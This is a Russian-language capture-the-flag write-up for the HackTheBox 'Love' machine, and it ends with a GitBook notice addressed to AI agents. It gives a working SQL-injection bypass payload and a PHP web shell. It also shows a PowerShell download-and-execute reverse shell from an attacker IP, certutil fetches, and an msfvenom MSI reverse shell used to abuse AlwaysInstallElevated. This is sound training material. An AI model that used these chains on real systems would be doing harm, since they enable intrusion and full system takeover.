> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Разбор Love на HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки:** * SQL-инъекция (SQLI) * Подделка серверных запросов (SSRF) * Злоупотребление загрузкой файлов * Эксплуатация системы голосования * Злоупотребление AlwaysInstallElevated (файл msiexec/msi) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Анализ открытых портов с помощью extractport:** Использование функции extractport для краткого отображения открытых портов и копирования их в буфер обмена.

**Сканирование версий портов с помощью Nmap:** Использование Nmap для сканирования версий портов и извлечения информации в файл "targeted": ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

**Поиск каталогов:** Мы используем Gobuster для поиска каталогов на сайте: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

В `admin` в каталоге мы обнаруживаем панель управления.

## Эксплуатация системы голосования: В этом случае есть два способа работы с панелью управления Voting System: ### 1. Уязвимость SSRF: Порт 443 раскрывает `staging.love.htb` поддомен, который мы добавляем к нашему `/etc/hosts` файле.

Этот сайт может сканировать веб-сайты через URL.

При сканировании `localhost:5000` (недоступен извне), мы обнаруживаем учетные данные: `admin: @LoveIsInTheAir!!!!`

Примечание: снаружи отображается сообщение "You don't have permission to access this resource.", которое блокирует доступ.

### **2. Уязвимость SQL-инъекции (**[**SQLi**](/ru/web/sql-injection.md)**) :** С `searchsploit` мы ищем конкретные уязвимости Voting System и находим следующий payload:

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` Используя Burp Suite, мы получаем доступ к панели управления.

## Уязвимость загрузки файлов: Оказавшись в панели управления, один из вариантов позволяет создать нового пользователя. Мы создаем `cmd.php` файл для выполнения команд на сервере:

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

Панель не применяет никаких проверок безопасности, что позволяет нам внедрять команды (например, `whoami`). Проверив команду ping, мы проверяем соединение:

мы проверим, может ли он запустить ping

ping 10.10.14.10
tcpdump -i tun0 icmp

Поскольку мы получаем ответ, мы подтверждаем возможность выполнения команд на целевой машине

**Команда PowerShell для обратной оболочки** Как только мы увидим, что можем выполнять команды, мы загрузим `PS.ps1` скрипт в нашу систему. {% embed url="" %} В конце скрипта мы добавляем следующую строку: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

Мы создадим веб-сервер с помощью `PS.ps1` скрипт ```bash python3 -m http.server 80 ``` Затем мы изменим команду, чтобы она указывала на наш веб-сервер: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Наконец, слушаем порт 4444: ```bash rlwrap nc -nlvp 4444 ```

### Флаг user.txt:

## Повышение привилегий: ### **Перечисление с winPEASx64.exe** Чтобы выполнить повышение привилегий на сервере Windows, сначала запустите `winPEAS` инструмент разведки. {% embed url="" %} Скачивание инструмента разведки WIN-peacex64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### Проверка AlwaysInstallElevated У `winPEAS` инструмент проверяет различные параметры безопасности системы. Нас особенно интересует `AlwaysInstallElevated` ключ реестра. Если этот ключ установлен в `1` в `HKLM` (HKEY/ LOCAL/ MACHINE), это означает, что все `.msi` файлы можно устанавливать с повышенными привилегиями, что является уязвимостью.

{% embed url="" %} **Создать файл .msi, чтобы получить обратную оболочку** Чтобы воспользоваться этой уязвимостью, мы создадим `.msi` файл, который после запуска предоставит нам обратную оболочку. Мы используем `msfvenom` для генерации этого файла: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Передача файла .msi**файл После создания файла мы должны перенести его на целевую машину: ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Прослушивание порта 443**/ Перед запуском `.msi` файла, мы должны прослушивать указанный нами порт. Давайте используем `nc` (netcat) для этого: ```powershell rlwrap nc -nlvp 443 ``` **Выполнение команды установки**/ Наконец, мы запускаем `.msi` файл, используя `msiexec`, что запускает тихую установку: ```powershell msiexec /quiet /qn /i reverse.msi ```

### Флаг root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.